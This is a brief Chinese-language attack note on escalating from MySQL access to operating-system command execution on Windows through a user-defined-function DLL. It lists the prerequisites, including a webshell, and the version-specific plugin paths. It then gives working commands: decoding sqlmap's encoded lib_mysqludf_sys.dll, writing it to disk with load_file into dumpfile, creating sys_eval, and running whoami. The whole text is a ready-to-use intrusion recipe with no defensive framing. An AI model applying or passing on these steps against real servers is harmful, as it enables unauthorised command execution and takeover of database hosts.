測試環境windows2008
如果mysql版本大於5.1,udf.dll文件必須放置在mysql安裝目錄的lib\plugin文件夾下,該目錄默認是不存在的,需要使用webshell找到mysql的安裝目錄,並在安裝目錄下創建lib\plugin文件夾,然后將udf.dll文件導出到該目錄
如果mysql版本小於5.1, udf.dll文件在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄。
掌握mysql數據庫的賬戶,從擁有對mysql的insert和delete權限,以創建和拋棄函數。
擁有可以將udf.dll寫入相應目錄的權限
//sqlmap里的udf.dll是通過異或編碼的,使用之前一定要記得解碼,解碼的工具也在sqlmap中
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
//將解碼的.dll文件上傳到任意目錄
select load_file('C:/XXX/lib_mysqludf_sys.dll') into dumpfile 'C:/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll';
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
//支持的函數
sys_eval - executes an arbitrary command, and returns it's output.
sys_exec - executes an arbitrary command, and returns it's exit code.
sys_get - gets the value of an environment variable.
sys_set - create an environment variable, or update the value of an existing environment variable.
//執行命令
select sys_eval('whoami');